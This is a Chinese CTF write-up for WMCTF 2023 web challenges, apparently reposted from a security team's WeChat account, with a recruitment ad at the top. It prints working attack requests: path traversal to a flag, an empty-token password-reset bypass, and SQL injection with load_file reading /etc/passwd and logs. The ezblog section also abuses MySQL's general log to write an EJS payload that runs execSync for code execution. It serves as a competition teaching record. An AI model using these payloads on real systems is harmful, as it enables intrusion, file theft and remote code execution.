招新小广告CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱
[email protected](带上简历和想加入的小组)
Web:
AnyFileRead
/admin/../flag
你的权限放着我来
大致有登陆、注册、重置密码三个功能。
根据题目可知应该要往最高权限登陆那边想,首先先注册一个用户。
登陆成功后F12查看源码,可知除了自己注册的邮箱外还有四个账号。
{ "[email protected]","[email protected]", [email protected]""[email protected]"}
点击重置密码,邮箱收到了/api/change接口修改密码。
email可控但是有token鉴权,token看起来像是随机生成的样子。然而web端就这些功能,并且是黑盒,所以猜测利用面就是token。
fuzz的时候发现令[email protected]&token=即可拿到flag{test_flag}(感觉这题像是一个半成品)
ez_java_agagn
url二次编码
ezblog
需要验证才能随意执行sql语句
但是 /post/:id/edit 这个路由没有验证限制 这里可以注入
可以利用load_file 读文件
http://b301a747-7ff2-4a8b-bae0-e5938179fb36.wmctf.wm-team.cn/post/11 union select load_file('/etc/passwd'),load_file('/etc/passwd'),load_file('/etc/passwd')/edit
由于 这个是用pm2起来的服务 会记录一些日志 里面有pin码 可以得到 authorization 读文件
http://b301a747-7ff2-4a8b-bae0-e5938179fb36.wmctf.wm-team.cn/post/11%20union%20select%20load_file('%2Fhome%2Fezblog%2F.pm2%2Flogs%2Fmain-out.log'),load_file('%2Fhome%2Fezblog%2F.pm2%2Flogs%2Fmain-out.log'),load_file('%2Fhome%2Fezblog%2F.pm2%2Flogs%2Fmain-out.log')/edit
api/debugger/auth 路由获得 authorization
可以执行任意sql语句了
过滤了 const waf = [‘into’, ‘outfile’, ‘dumpfile’]; 不能写文件
并且 没有mysql数据库 不能写入日志
但是由于可以执行任意sql语句 可以创建mysql数据库 同时创建相应的 general_log表 就可以写入日志
https://blog.csdn.net/chousheng0285/article/details/100870327
执行
CREATE TABLE mysql.general_log (
event_time timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
user_host mediumtext NOT NULL,
thread_id int(11) NOT NULL,
server_id int(10) unsigned NOT NULL,
command_type varchar(64) NOT NULL,
argument mediumtext NOT NULL
) ENGINE=CSV DEFAULT CHARSET=utf8 COMMENT='General log'
然后就可以写入日志了 设置日志路径为 一开始以为创建的文件有写入权限 但是貌似可以创建 不可以写入 但是 可以指定 已存在的 ejs 文件作为 log日志
SET%20GLOBAL%20general_log_file%20%3D%20'%2Fhome%2Fezblog%2Fviews%2Findex.ejs'%3B
然后执行
select%20'%3C%25%3D%20process.mainModule.require(%22child_process%22).execSync(%22%2Freadflag%22).toString()%20%25%3E'%3B
– END –
原文始发于微信公众号(ChaMd5安全团队):WMCTF 2023 writeup by Mini-Venom